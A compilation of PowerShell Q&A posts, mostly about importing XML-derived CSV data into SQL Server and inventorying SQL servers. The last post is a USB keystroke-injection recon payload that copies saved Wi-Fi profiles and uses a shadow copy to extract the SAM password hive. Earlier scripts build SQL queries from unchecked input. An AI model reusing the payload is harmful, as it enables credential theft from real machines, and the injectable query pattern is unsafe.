I have a PowerShell script that generates a CSV from XML files and than imports that CSV into an SQL database.
I want to add a verification cycle to check if the content that the script is adding to the CSV file already exists in it.
Here is my code:
$fi = Get-Content "dados.txt"
$nx = $fi[0] #caminho para os xmls
$lc = $fi[1] #caminho para onde vai o csv
$nc = $fi[2] #Nome do csv
$ToProcess = Get-ChildItem -Path $nx -Filter '*.xml' -Recurse #vai buscar todos os ficheiros xml dentro da diretoria com recursividade
$DataExec = Get-Date -Format "dd/MM/yyyy"
$horaExec = Get-Date -Format "HH:mm"
$CF = "$lc\" + $nc + ".csv"
$CsvFilePath = "$lc\"
$csvDelimiter = ";"
Install-Module SqlServer
$serverName = "..."
$databaseName = "FATURAS"
$tableSchema = "dbo"
$tableName = $nc
$username = "sa"
$password = "..."
$secureStringPwd = $password | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList $username, $secureStringPwd
$CsvFiles = $ToProcess.Name -replace('.xml','.csv') | ForEach-Object {"$CsvFilePath$_"}
ForEach ($File in $ToProcess){
[Xml]$Xml = Get-Content -Path $File.FullName
$Xml.message.invoice | Select-Object -Property #(
#{Name='File_Path';Expression={($File).DirectoryName + '\'}}
#{Name='FileName';Expression={$File.Name -split('.xml')}},
#{Name='Fornecedor'; Expression={$_.seller.id.'#text'}},
#{Name='commercialRegistrationNumber'; Expression={$Xml.message.invoice.seller.commercialRegistrationNumber}},
#{Name='documentNumber'; Expression={$Xml.message.invoice.documentNumber}},
#{Name='documentDate';Expression={$_.documentDate}},
#{Name='CreationDate';Expression={$Xml.message.creationDateTime}},
#{Name='DocType'; Expression={$Xml.message.invoice}},
#{Name='Data_Exec';Expression={$DataExec}},
#{Name='Hora_Exec';Expression={$horaExec}},
#{Name='BARCODE'; Expression={$Xml.message.invoice.reference.InnerText}},
#{Name='Description'; Expression={$Xml.message.invoice.lineItem.description}},
#{Name='Total'; Expression={$Xml.message.invoice.totalPayableAmount}}
) | Export-Csv -Path "$CsvFilePath$($File.BaseName).csv" -NoTypeInformation -Encoding Unicode
}
Import-Csv -LiteralPath $CsvFiles | Export-Csv -Path $CF -NoTypeInformation -Delimiter $csvDelimiter -Encoding UTF8
foreach($File in $CsvFiles){
Remove-Item -Path $File
}
Import-Csv -Path $CF -Delimiter $csvDelimiter | Write-SqlTableData -ServerInstance $serverName -DatabaseName $databaseName -SchemaName $tableSchema -TableName $tableName -Credential $creds -Force
Here is the file that im using to get the path's:
C:\scripts\xml para csv - sql\doc_xml\
C:\scripts\xml para csv - sql\final_teste
What i did was just download the table 1 into a csv and compare it with the one i have generate and then the different values i just insert them into the table 1
Clear-Host
Install-Module SqlServer
$fi = Get-Content "C:\scripts\xml_para_csv_sql\dados.txt"
$nx = $fi[0] #caminho para os xmls
$lc = $fi[1] #caminho para onde vai o csv
$nc = $fi[2] #Nome do csv
$sn = $fi[3] #Nome da tabela Sql
$ToProcess = Get-ChildItem -Path $nx -Filter '*.xml' -Recurse #vai buscar todos os ficheiros xml dentro da diretoria com recursividade
$DataExec = Get-Date -Format "dd/MM/yyyy"
$horaExec = Get-Date -Format "HH:mm"
$SqlFile = "$lc\$($sn)_SQL.csv"
$CF = "$lc\" + $nc + ".csv"
$CsvFilePath = "$lc\"
$csvDelimiter = ";"
if((Test-Path $CF) -eq $true){
Remove-Item $CF
}
do{
if (!(Test-Path $SqlFile)){$SqlFile = "$lc\$($sn)_SQL.csv"}
else{$SqlFile = "$lc\$($sn)_SQL" + "$($i)" + ".csv"}
$i = $i + 1
}until(!(Test-Path $SqlFile))
$serverName = "..."
$databaseName = "FATURAS"
$tableSchema = "dbo"
$tableName = $sn
$username = "sa"
$password = "..."
$secureStringPwd = $password | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList $username, $secureStringPwd
$CsvFiles = $ToProcess.Name -replace('.xml','.csv') | ForEach-Object {"$CsvFilePath$_"}
ForEach ($File in $ToProcess){
[Xml]$Xml = Get-Content -Path $File.FullName
$Xml.message.invoice | Select-Object -Property #(
#{Name='File_Path';Expression={($File).DirectoryName + '\'}}
#{Name='FileName';Expression={$File.Name -split('.xml')}},
#{Name='Fornecedor'; Expression={$Xml.message.invoice.seller.vatNumber}},
#{Name='documentNumber'; Expression={$Xml.message.invoice.documentNumber}},
#{Name='documentDate';Expression={$_.documentDate}},
#{Name='CreationDate';Expression={$Xml.message.creationDateTime}},
#{Name='DocType'; Expression={$Xml.message.invoice}},
#{Name='Data_Exec';Expression={$DataExec}},
#{Name='Hora_Exec';Expression={$horaExec}},
#{Name='BARCODE'; Expression={$Xml.message.invoice.reference.InnerText}},
#{Name='Description'; Expression={$Xml.message.invoice.lineItem.description}},
#{Name='Total'; Expression={$Xml.message.invoice.totalPayableAmount}}
) | Export-Csv -Path "$CsvFilePath$($File.BaseName).csv" -NoTypeInformation -Encoding Unicode
}
if(!(Test-Path $CF)){
Import-Csv -LiteralPath $CsvFiles | Export-Csv -Path $CF -NoTypeInformation -Delimiter $csvDelimiter -Encoding UTF8
}else{
Write-Host "Os dados já existem!"
}
$data = Get-Content $CF -Encoding UTF8
$Return = $SQL = $dataTable = $null
$sql = "SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME = '$sn'"
$dataTable = Invoke-Sqlcmd –ServerInstance $serverName -Credential $creds –Database $databaseName –Query $sql
if ($dataTable) {$return = $true}
else {$return = $false}
if($Return -eq $true){
$checksql = Invoke-Sqlcmd -ServerInstance $serverName -Database $databaseName -Credential $creds -Query "Select* from $sn"
$checksql | Export-Csv $SqlFile -Delimiter ';' -Encoding UTF8 -NoTypeInformation
$compare = Compare-Object -ReferenceObject ($data | Select-Object -Skip 1 | Sort-Object ) -DifferenceObject (Get-Content $SqlFile | Select-Object -Skip 1 | Sort-Object) -IncludeEqual
$CsvLines = $compare | Where-Object {$_.SideIndicator -eq '<='}
if($CsvLines -eq $null){
Write-Warning "Não foi encontrado nenhuma linha no ficheiro $CF que a tabela $sn não tivesse"
foreach($File in $CsvFiles){
if((Test-Path $File) -eq $true){
Remove-Item -Path $File
}
}
}
$CsvLinesToSql = $CsvLines.InputObject | ForEach-Object {$_.replace('";"',"','")} | ForEach-Object{$_.replace('"','')} | ForEach-Object{("'$_'")}
foreach($line in $CsvLinesToSql){
$FileName = $line.Substring(0, $line.IndexOf(','))
$FileName = $line.Replace("$FileName,",'')
$FileName = $FileName.Substring(0, $FileName.IndexOf(','))
Invoke-Sqlcmd -ServerInstance $serverName -Database $databaseName -Credential $creds -Query "IF EXISTS (SELECT * FROM $sn WHERE FileName = $FileName)
delete from $sn WHERE FileName = $FileName
Insert Into dbo.$($sn) (File_Path, FileName, Fornecedor, documentNumber, documentDate, CreationDate, DocType, Data_Exec, Hora_Exec, BARCODE, Description, Total) VALUES ($line)
IF NOT EXISTS (SELECT * FROM $sn WHERE FileName = $FileName)
Insert Into dbo.$($sn) (File_Path, FileName, Fornecedor, documentNumber, documentDate, CreationDate, DocType, Data_Exec, Hora_Exec, BARCODE, Description, Total) VALUES ($line)"
}
Remove-Item $SqlFile
}
if($Return -eq $false){
Import-Csv -Path $CF -Delimiter ';' -Encoding UTF8 | Write-SqlTableData -ServerInstance $serverName -DatabaseName $databaseName -SchemaName $tableSchema -TableName $tableName -Credential $creds -Force
}
Invoke-Sqlcmd -ServerInstance $serverName -Database $databaseName -Credential $creds -Query "DELETE FROM $sn where FileName is null"
foreach($File in $CsvFiles){
if((Test-Path $File) -eq $true){
Remove-Item -Path $File
}
}```
Related
The below is a script that is collecting information about SQL-jobs on remote servers.
However, I want to send the information inside the catch-block back to the host.
As the script is written now the script is printing to a logfile on each remote server.
How can I send the information back to the host?
$sqlServers = #("SERVER1","SERVER2")
$runningHost = "$env:computername"
$filePath = "C:\SQLJobInventory"
$desktopPath = [Environment]::GetFolderPath("Desktop")
$output = Invoke-Command -ComputerName $sqlServers -ArgumentList $filePath,$dateToday,$dateTodayFile -ScriptBlock{
param
(
$filePath,
$dateToday,
$dateTodayFile
)
$runningHostRemote = $env:computername
Try
{
Import-Module sqlserver -ErrorAction Stop
$instances = $runningHostRemote | Foreach-Object {Get-ChildItem -Path "SQLSERVER:\SQL\$_"} -ErrorAction Stop
}
Catch
{
Write-Output "$dateToday [ERROR] $runningHostRemote" |
Out-File "$filePath\Log$dateTodayFile.txt" -Append
Exit
}
ForEach ($instance in $instances)
{
Try
{
$instanceName = $instance.InstanceName
Get-SqlAgentJob -ServerInstance "$runningHostRemote\$instanceName" -ErrorAction Stop |
Where-Object {$_.IsEnabled -eq "True" -and $_.LastRunDate -gt [DateTime]::Today.AddDays(-2) -and $_.OwnerLoginName -match "LKL"} |
Select-Object #{Name=‘Job name‘;Expression={$_.Name}},
#{Name=‘Description‘;Expression={$_.Description}},
#{Name=‘Instance‘;Expression={$_.Parent -Replace '[][]'}},
#{Name=‘Run outcome‘;Expression={$_.LastRunOutcome}},
#{Name=‘Run date‘;Expression={$_.LastRunDate}},
#{Name=‘Run duration‘;Expression={$_.LastRunDuration}},
#{Name=‘Job creator‘;Expression={$_.OwnerLoginName}},
#{Name=‘Runs on a schedule‘;Expression={$_.HasSchedule}},
#{Name='Schedule Type';Expression={$_.JobSchedules -join ','}}
}
Catch
{
Write-Output "$dateToday [ERROR] $runningHostRemote\$instanceName" |
Out-File "$filePath\Log$dateTodayFile.txt" -Append
Exit
}
}
}
$output | Select-Object -Property * -ExcludeProperty PSComputerName,RunSpaceID,PSShowComputerName |
Sort-Object "Job name" |
Export-Csv $filePath\SQLJobInvent$dateTodayFile.csv -NoTypeInformation -Delimiter ";" -Encoding UTF8
Write-Output "$dateToday [INFO] $filePath\Log$dateTodayFile.txt" |
Out-File "$filePath\Log$dateTodayFile.txt" -Append
Change write-output to return
Catch
{
Return "$dateToday [ERROR] $runningHostRemote\$instanceName"
}
Return will exit the script block and pass your string back to the output variable.
I have solved it by creating my own properties of the output-variable with New-Object.
There is probably a better way to do it but this was the most convinient.
The Return-method did not work for me in this particular script.
$runningHost = "$env:computername"
$filePath = "C:\SQLJobInventory"
$lastResortPath = [Environment]::GetFolderPath("Desktop")
$dateToday = Get-Date -Format “yyMMdd HH:mm"
$dateTodayFile = Get-Date -Format “yyMMdd"
$output = Invoke-Command -ComputerName $sqlServers -ArgumentList $filePath,$dateToday,$dateTodayFile -ScriptBlock{
param
(
$filePath,
$dateToday,
$dateTodayFile
)
$runningHostRemote = $env:computername
Try
{
Import-Module sqlserver -ErrorAction Stop
$instances = $runningHostRemote | Foreach-Object {Get-ChildItem -Path "SQLSERVER:\SQL\$_"} -ErrorAction Stop
}
Catch
{
$moduleError = #{moduleError="$dateToday [ERROR] $runningHostRemote"}
New-Object -Type PSObject -Property $moduleError
Exit
}
ForEach ($instance in $instances){
Try
{
$instanceName = $instance.InstanceName
$jobSuccess = #{jobSuccess="$dateToday [INFO]"}
New-Object -Type PSObject -Property $jobSuccess
Get-SqlAgentJob -ServerInstance "$runningHostRemote\$instanceName" -ErrorAction Stop |
Where-Object {$_.IsEnabled -eq "True" -and $_.LastRunDate -gt [DateTime]::Today.AddDays(-2) -and $_.OwnerLoginName -match "LKL"} |
Select-Object #{Name=‘Job name‘;Expression={$_.Name}},
#{Name=‘Description‘;Expression={$_.Description}},
#{Name=‘Instance‘;Expression={$_.Parent -Replace '[][]'}},
#{Name=‘Run outcome‘;Expression={$_.LastRunOutcome}},
#{Name=‘Run date‘;Expression={$_.LastRunDate}},
#{Name=‘Run duration‘;Expression={$_.LastRunDuration}},
#{Name=‘Job creator‘;Expression={$_.OwnerLoginName}},
#{Name=‘Runs on a schedule‘;Expression={$_.HasSchedule}},
#{Name='Schedule Type';Expression={$_.JobSchedules -join ','}}
}
Catch
{
$jobError = #{jobError="$dateToday [ERROR] $runningHostRemote\$instanceName"}
New-Object -Type PSObject -Property $jobError
Exit
}
}
}
$output | Select-Object -ExpandProperty moduleError -ErrorAction SilentlyContinue | Out-File "$filePath\Log$dateTodayFile.txt" -Append
$output | Select-Object -ExpandProperty Jobsuccess -ErrorAction SilentlyContinue | Out-File "$filePath\Log$dateTodayFile.txt" -Append
$output | Select-Object -ExpandProperty jobError -ErrorAction SilentlyContinue | Out-File "$filePath\Log$dateTodayFile.txt" -Append
$output | Select-Object -Property * -ExcludeProperty PSComputerName,RunSpaceID,PSShowComputerName |
Sort-Object "Job name" |
Export-Csv $filePath\SQLJobInvent$dateTodayFile.csv -NoTypeInformation -Delimiter ";" -Encoding UTF8
Write-Output "$dateToday [INFO] $filePath\Log$dateTodayFile.txt" |
Out-File "$filePath\Log$dateTodayFile.txt" -Append
Below mentioned code is generating CSV files successfully, but not inserting into database. Code was working previously, but not now:
Doesn't give error, data is not generating
$DestinationFileName = $DestinationFile
$SourceFileName = $SourceFile
$tableNum = $tableNumber
$DatabaseTable = $DatabaseTableName
$delimiter = ','
$objWord = New-Object -Com Word.Application
$objWord.Visible = $false # $false
$objDocument = $objWord.Documents.Open($SourceFileName,$false,$true)
$LETable = $objDocument.Tables.Item($tableNum)
$LETableCols = $LETable.Columns.Count
$LETableRows = $LETable.Rows.Count
$RawCSV = for($r=1; $r -le $LETableRows; $r++) {
$content= #()
for($c=1; $c -le $LETableCols; $c++) {
$content += ("`"{0}`"" -f $LETable.Cell($r,$c).Range.Text -replace "(`r|`n|`t)|$([char]7)?")
}
$Content -join $delimiter
}
$Csv = $RawCSV | ConvertFrom-Csv
$objDocument.Close()
$objWord.Quit()
# Stop Winword Process
$rc = [System.Runtime.Interopservices.Marshal]::ReleaseComObject($objWord)
$Csv
$Csv | Export-Csv $DestinationFileName -NoTypeInformation
$database = 'Test'
$server = '.'
$table = 'ScanDoc'
Invoke-Sqlcmd -Database $database -ServerInstance $server -Query "Trun
Import-CSV $DestinationFile -Header Col1, Col2 | Select-Object -Skip 1 | ForEach-Object { Invoke-Sqlcmd -Database $database -ServerInstance $server -Query "insert into $table VALUES ('$($SourceFileName)','$($_.Col1)','$($_.Col2)')"}
in this script i am pulling info from my SQL servers. i create the psobject and then i attempt to += each object into the $results table so that i can get a complete final report.
for some reason if i run the script all the way through it gives me the error
Method invocation failed because [system.management.managementobject] does not contain a method named 'op_Addition'
But if i run the script line by line I do not get the error.
$Results = #()
$servers = get-content .\computers.txt
ForEach ($server in $servers) {
# Ping the machine to see if it's on the network
$results = Get-WMIObject -query "select StatusCode from
Win32_PingStatus where Address = '$server'"
$responds = $false
ForEach ($result in $results) {
# If the machine responds break out of the result loop and indicate success
if ($result.statuscode -eq 0) {
$responds = $true
break
}
}
If ($responds) {
# Gather info from the server because it responds
Write-Output "$server responds"
} else {
# Let the user know we couldn't connect to the server
Write-Output "$server does not respond"
}
# Check to see if a directory exists for this machine, if not create one
if (!(Test-Path -path .\$server)) {
New-Item .\$server\ -type directory
}
#get-WMI-Information
function getwmiinfo ($srv) {
# Get ComputerSystem info and write it to a CSV file
gwmi -query "select * from
Win32_ComputerSystem" -computername $srv | select Name,
Model, Manufacturer, Description, DNSHostName,
Domain, DomainRole, PartOfDomain, NumberOfProcessors,
SystemType, TotalPhysicalMemory, UserName,
Workgroup | export-csv -path .\$srv\BOX_ComputerSystem.csv -noType
# Get OperatingSystem info and write it to a CSV file
gwmi -query "select * from
Win32_OperatingSystem" -computername $srv | select Name,
Version, FreePhysicalMemory, OSLanguage, OSProductSuite,
OSType, ServicePackMajorVersion, ServicePackMinorVersion |
export-csv -path .\$server\BOX_OperatingSystem.csv -noType
# Get PhysicalMemory info and write it to a CSV file
gwmi -query "select * from
Win32_PhysicalMemory" -computername $srv | select Name,
Capacity, DeviceLocator, Tag |
export-csv -path .\$srv\BOX_PhysicalMemory.csv -noType
# Get LogicalDisk info and write it to a CSV file
gwmi -query "select * from Win32_LogicalDisk
where DriveType=3" -computername $srv | select Name, FreeSpace,
Size | export-csv -path .\$srv\BOX_LogicalDisk.csv -noType
}
# Get the server info
getwmiinfo $server
#Get-SQLInfo
[System.Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.SMO") | Out-Null
# Create an ADO.Net connection to the instance
$cn = new-object system.data.SqlClient.SqlConnection(
"Data Source=$server;Integrated Security=SSPI;Initial Catalog=master");
# Create an SMO connection to the instance
$s = new-object ('Microsoft.SqlServer.Management.Smo.Server') $server
# Set the CSV output file name and pipe the instances Information collection to it
$outnm = ".\" + $server + "\" + $instnm + "GEN_Information.csv"
$s.Information | export-csv -path $outnm -noType
# Set ShowAdvancedOptions ON for the query
$s.Configuration.ShowAdvancedOptions.ConfigValue = 1
$s.Configuration.Alter()
# Create a DataSet for our configuration information
$ds = new-object "System.Data.DataSet" "dsConfigData"
# Build our query to get configuration, session and lock info, and execute it
$q = "exec sp_configure;
"
$q = $q + "exec sp_who;
"
$q = $q + "exec sp_lock;
"
$da = new-object "System.Data.SqlClient.SqlDataAdapter" ($q, $cn)
$da.Fill($ds)
# Build datatables for the config data, load them from the query results, and write them to CSV files
$dtConfig = new-object "System.Data.DataTable" "dtConfigData"
$dtWho = new-object "System.Data.DataTable" "dtWhoData"
$dtLock = new-object "System.Data.DataTable" "dtLockData"
$dtConfig = $ds.Tables[0]
$dtWho = $ds.Tables[1]
$dtLock = $ds.Tables[2]
$outnm = ".\" + $server + "\" + $instnm + "GEN_Configure.csv"
$dtConfig | select name, minimum, maximum, config_value, run_value | export-csv -path $outnm -noType
$outnm = ".\" + $server + "\" + $instnm + "GEN_Who.csv"
$dtWho | select spid, ecid, status, loginame, hostname, blk, dbname, cmd, request_id | export-csv -path $outnm -noType
$outnm = ".\" + $server + "\" + $instnm + "GEN_Lock.csv"
$dtLock | select spid, dbid, ObjId, IndId, Type,Resource, Mode, Status | export-csv -path $outnm -noType
# Set ShowAdvancedOptions OFF now that we're done with Config
$s.Configuration.ShowAdvancedOptions.ConfigValue = 0
$s.Configuration.Alter()
# Write the login name and default database for Logins to a CSV file
$outnm = ".\" + $server + "\" + $instnm + "GEN_Logins.csv"
$s.Logins | select Name, DefaultDatabase | export-csv -path $outnm -noType
# Write information about the databases to a CSV file
$outnm = ".\" + $server + "\" + $instnm + "GEN_Databases.csv"
$dbs = $s.Databases
$dbs | select Name, Collation, CompatibilityLevel, AutoShrink,
RecoveryModel, Size, SpaceAvailable | export-csv -path $outnm -noType
foreach ($db in $dbs) {
# Write the information about the physical files used by the database to CSV files for each database
$dbname = $db.Name
if ($db.IsSystemObject) {
$dbtype = "_SDB"
} else {
$dbtype = "_UDB"
}
# Write the user information to a CSV file
$users = $db.Users
$outnm = ".\" + $server + "\" + $instnm + $dbname + "_Users.csv"
$users | select $dbname, Name, Login, LoginType, UserType, CreateDate |
export-csv -path $outnm -noType
$fgs = $db.FileGroups
foreach ($fg in $fgs) {
$files = $fg.Files
$outnm = ".\" + $server + "\" + $instnm + $dbname + "_DataFiles.csv"
$files | select $db.Name, Name, FileName, Size,
UsedSpace | export-csv -path $outnm -noType
}
$logs = $db.LogFiles
$outnm = ".\" + $server + "\" + $instnm + $dbname + "_LogFiles.csv"
$logs | select $db.Name, Name, FileName, Size, UsedSpace |
export-csv -path $outnm -noType
}
# Create CSV files for each ErrorLog file
$outnm = ".\" + $server + "\" + $instnm + "_ERL_ErrorLog_.csv"
$s.ReadErrorLog() | export-csv -path $outnm -noType
$outnm = ".\" + $server + "\" + $instnm + "_ERL_ErrorLog_1.csv"
$s.ReadErrorLog(1) | export-csv -path $outnm -noType
$outnm = ".\" + $server + "\" + $instnm + "_ERL_ErrorLog_2.csv"
$s.ReadErrorLog(2) | export-csv -path $outnm -noType
$outnm = ".\" + $server + "\" + $instnm + "_ERL_ErrorLog_3.csv"
$s.ReadErrorLog(3) | export-csv -path $outnm -noType
$outnm = ".\" + $server + "\" + $instnm + "_ERL_ErrorLog_4.csv"
$s.ReadErrorLog(4) | export-csv -path $outnm -noType
$outnm = ".\" + $server + "\" + $instnm + "_ERL_ErrorLog_5.csv"
$s.ReadErrorLog(5) | export-csv -path $outnm -noType
$outnm = ".\" + $server + "\" + $instnm + "_ERL_ErrorLog_6.csv"
$s.ReadErrorLog(6) | export-csv -path $outnm -noType
$outnm = ".\" + $server + "\" + $instnm + "Gen_Information.csv"
$Gen_Information = Import-Csv $outnm
$outnm = ".\" + $server + "\" + $instnm + "Gen_Databases.csv"
$Gen_Databases = Import-Csv $outnm
$outnm = ".\" + $server + "\" + $instnm + "Box_ComputerSystem.csv"
$Box_ComputerSystem = Import-Csv $outnm
$outnm = ".\" + $server + "\" + $instnm + "Box_OperatingSystem.csv"
$Box_OperatingSystem = Import-Csv $outnm
$Gen_Info = $Gen_Information[0]
$Gen_DBs = ForEach($object in $Gen_Databases){$object.Name}
$Box_OS = $Box_OperatingSystem[0]
$Box_CS = $Box_ComputerSystem[0]
$Box_OSOS = $box_os.Name.Split("|")
#region Correct SQL Version Name
#correct Version Name
if($Gen_Info.VersionString -like "8.*.*.*")
{
$Gen_InfoVers = "SQL Server 2000"
}
elseif($Gen_Info.VersionString -like "12.*.*.*")
{
$Gen_InfoVers = "SQL Server 2014"
}
elseif($Gen_Info.VersionString -like "10.*.*.*" -and $Gen_info.VersionString -notlike "10.5*.*.*")
{
$Gen_InfoVers = "SQL Server 2008"
}
elseif($Gen_Info.VersionString -like "9.*.*.*")
{
$Gen_InfoVers = "SQL Server 2005"
}
elseif($Gen_Info.VersionString -like "10.5*.*.*")
{
$Gen_InfoVers = "SQL Server 2008r2"
}
elseif($Gen_Info.VersionString -like "11.*.*.*")
{
$Gen_InfoVers = "SQL Server 2012"
}
elseif($Gen_Info.VersionString -like "13.*.*.*")
{
$Gen_InfoVers = "SQL Server 2016"
}
else{$Gen_InfoVers = "Unknown Version"}
#endregion
$object = New-Object psobject -Property #{
Server = $Box_CS.Name
OS = $box_osos[0]
Edition = $Gen_Info.EngineEdition
SQLVersion = $Gen_InfoVers.ToString()
TotalDBs = $Gen_DBs.count
DatabaseName1 = $Gen_DBs[0]
DatabaseName2 = $Gen_DBs[1]
DatabaseName3 = $Gen_DBs[2]
DatabaseName4 = $Gen_DBs[3]
DatabaseName5 = $Gen_DBs[4]
DatabaseName6 = $Gen_DBs[5]
DatabaseName7 = $Gen_DBs[6]
DatabaseName8 = $Gen_DBs[7]
DatabaseName9 = $Gen_DBs[8]
DatabaseName10 = $Gen_DBs[9]
DatabaseName11 = $Gen_DBs[10]
DatabaseName12 = $Gen_DBs[11]
DatabaseName13 = $Gen_DBs[12]
DatabaseName14 = $Gen_DBs[13]
DatabaseName15 = $Gen_DBs[14]
DatabaseName16 = $Gen_DBs[15]
DatabaseName17 = $Gen_DBs[16]
DatabaseName18 = $Gen_DBs[17]
DatabaseName19 = $Gen_DBs[18]
DatabaseName20 = $Gen_DBs[19]
DatabaseName21 = $Gen_DBs[20]
DatabaseName22 = $Gen_DBs[21]
DatabaseName23 = $Gen_DBs[22]
DatabaseName24 = $Gen_DBs[23]
DatabaseName25 = $Gen_DBs[24]
DatabaseName26 = $Gen_DBs[25]
}
$object = $object | select Server,OS,SQLVersion,Edition,TotalDBs,DatabaseName1,DatabaseName2,DatabaseName3,DatabaseName4,DatabaseName5,DatabaseName6,DatabaseName7,DatabaseName8,DatabaseName9,DatabaseName10,DatabaseName11,DatabaseName12,DatabaseName13,DatabaseName14,DatabaseName15,
DatabaseName16,DatabaseName17,DatabaseName18,DatabaseName19,DatabaseName20,DatabaseName21,DatabaseName22,DatabaseName23,DatabaseName24,DatabaseName25,DatabaseName26
$object | Export-Csv ".\$server\FinalReport.csv" -NoTypeInformation -Force
$Results += $object
}
$Results | Export-Csv ".\Final\FinalReport.csv" -NoTypeInformation -Force
#alroc has a valid point, that's a lot of code. You can try typing $Result as an [array].
change
$Results += $object
to
[array]$Results += $object
Your error happens here
$Results += $object
You are using the same variable name for holding different data. The first time you are gathering the results from a WMI query.
$results = Get-WMIObject -query "select StatusCode from Win32_PingStatus where Address = '$server'"
Then you add it again when you get the error. Arrays do support addition but $results is not an array when the error is generated.
You have some other issues but mainly change the variable name to address this problem.
I'm having a problem with some code in powershell, I keep getting this error:
At line:1 char:7
+ $x++ } while ($x -ne );
+ ~
Unexpected token '}' in expression or statement.
At line:1 char:22
+ $x++ } while ($x -ne );
+ ~
You must provide a value expression following the '-ne' operator.
At line:1 char:24
+ $x++ } while ($x -ne );
+ ~
Missing statement body in while loop.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : UnexpectedToken
Does anybody know how to fix it?
The target system is windows 10.
I think the problem lies in this part "$x++ } while ($x -ne );" but I'm not sure.
Here's the code (sorry that i pasted so much code, but I wasn't sure if some of the other things were a part of the error):
Windowsbutton+r
powershell Start-Process notepad -Verb runAs
Enter
$folderDateTime = (get-date).ToString('d-M-y HHmmss')
$userDir = (Get-ChildItem env:\userprofile).value + '\Ducky Report ' + $folderDateTime
$fileSaveDir = New-Item ($userDir) -ItemType Directory
$date = get-date
$style = "<style> table td{padding-right: 10px;text-align: left;}#body {padding:50px;font-family: Helvetica; font-size: 12pt; border: 10px solid black;background-color:white;height:100%;overflow:auto;}#left{float:left; background-color:#C0C0C0;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#right{background-color:#C0C0C0;float:right;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#center{background-color:#C0C0C0;width:98%;height:300px;border: 4px solid black;padding:10px;overflow:scroll;margin:10px;} </style>"
$Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/ComputerInfo.html'
$Report = $Report + "<div id=body><h1>Duck Tool Kit Report</h1><hr size=2><br><h3> Generated on: $Date </h3><br>"
$wlanSaveDir = New-Item $userDir'\Duck\WLAN_PROFILES' -ItemType Directory
$srcDir = 'C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces'
Copy-Item $srcDir $wlanSaveDir -Recurse
$SysBootTime = Get-WmiObject Win32_OperatingSystem
$BootTime = $SysBootTime.ConvertToDateTime($SysBootTime.LastBootUpTime)| ConvertTo-Html datetime
$SysSerialNo = (Get-WmiObject -Class Win32_OperatingSystem -ComputerName $env:COMPUTERNAME)
$SerialNo = $SysSerialNo.SerialNumber
$SysInfo = Get-WmiObject -class Win32_ComputerSystem -namespace root/CIMV2 | Select Manufacturer,Model
$SysManufacturer = $SysInfo.Manufacturer
$SysModel = $SysInfo.Model
$OS = (Get-WmiObject Win32_OperatingSystem -computername $env:COMPUTERNAME ).caption
$disk = Get-WmiObject Win32_LogicalDisk -Filter "DeviceID='C:'"
$HD = [math]::truncate($disk.Size / 1GB)
$FreeSpace = [math]::truncate($disk.FreeSpace / 1GB)
$SysRam = Get-WmiObject -Class Win32_OperatingSystem -computername
$env:COMPUTERNAME | Select TotalVisibleMemorySize
$Ram = [Math]::Round($SysRam.TotalVisibleMemorySize/1024KB)
$SysCpu = Get-WmiObject Win32_Processor | Select Name
$Cpu = $SysCpu.Name
$HardSerial = Get-WMIObject Win32_BIOS -Computer $env:COMPUTERNAME | select SerialNumber
$HardSerialNo = $HardSerial.SerialNumber
$SysCdDrive = Get-WmiObject Win32_CDROMDrive |select Name
$graphicsCard = gwmi win32_VideoController |select Name
$graphics = $graphicsCard.Name
$SysCdDrive = Get-WmiObject Win32_CDROMDrive |select -first 1
$DriveLetter = $CDDrive.Drive
$DriveName = $CDDrive.Caption
$Disk = $DriveLetter + '\' + $DriveName
$Firewall = New-Object -com HNetCfg.FwMgr
$FireProfile = $Firewall.LocalPolicy.CurrentProfile
$FireProfile = $FireProfile.FirewallEnabled
$Report = $Report + "<div id=left><h3>Computer Information</h3><br><table><tr><td>Operating System</td><td>$OS</td></tr><tr><td>OS Serial Number:</td><td>$SerialNo</td></tr><tr><td>Current User:</td><td>$env:USERNAME </td></tr><tr><td>System Uptime:</td><td>$BootTime</td></tr><tr><td>System Manufacturer:</td><td>$SysManufacturer</td></tr><tr><td>System Model:</td><td>$SysModel</td></tr><tr><td>Serial Number:</td><td>$HardSerialNo</td></tr><tr><td>Firewall is Active:</td><td>$FireProfile</td></tr></table></div><div id=right><h3>Hardware Information</h3><table><tr><td>Hardrive Size:</td><td>$HD GB</td></tr><tr><td>Hardrive Free Space:</td><td>$FreeSpace GB</td></tr><tr><td>System RAM:</td><td>$Ram GB</td></tr><tr><td>Processor:</td><td>$Cpu</td></tr><td>CD Drive:</td><td>$Disk</td></tr><tr><td>Graphics Card:</td><td>$graphics</td></tr></table></div>"
$UserInfo = Get-WmiObject -class Win32_UserAccount -namespace root/CIMV2 | Where-Object {$_.Name -eq $env:UserName}| Select AccountType,SID,PasswordRequired
$UserType = $UserInfo.AccountType
$UserSid = $UserInfo.SID
$UserPass = $UserInfo.PasswordRequired
$IsAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')
$Report = $Report + "<div id=left><h3>User Information</h3><br><table><tr><td>Current User Name:</td><td>$env:USERNAME</td></tr><tr><td>Account Type:</td><td> $UserType</td></tr><tr><td>User SID:</td><td>$UserSid</td></tr><tr><td>Account Domain:</td><td>$env:USERDOMAIN</td></tr><tr><td>Password Required:</td><td>$UserPass</td></tr><tr><td>Current User is Admin:</td><td>$IsAdmin</td></tr></table>"
$Report = $Report + '</div>'
$createShadow = (gwmi -List Win32_ShadowCopy).Create('C:\', 'ClientAccessible')
$shadow = gwmi Win32_ShadowCopy | ? { $_.ID -eq $createShadow.ShadowID }
$addSlash = $shadow.DeviceObject + '\'
cmd /c mklink C:\shadowcopy $addSlash
Copy-Item 'C:\shadowcopy\Windows\System32\config\SAM' $fileSaveDir
Remove-Item -recurse -force 'C:\shadowcopy'
